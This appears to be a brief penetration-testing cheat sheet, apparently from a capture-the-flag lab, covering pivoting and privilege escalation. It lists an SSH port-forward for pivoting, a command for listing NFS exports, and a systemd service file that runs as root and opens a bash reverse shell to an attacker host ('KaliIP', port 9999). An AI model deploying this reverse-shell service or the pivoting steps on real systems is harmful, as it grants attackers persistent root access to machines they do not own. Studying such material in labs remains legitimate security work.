Pivoting

Simple ssh tunnel

ssh -L 8080:172.17.0.2:8080 aubreanna@10.10.128.244

RevShell as a service

[Unit]
Description=roooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'

[Install]
WantedBy=multi-user.target

List the NFS directory that can be mounted

showmount -e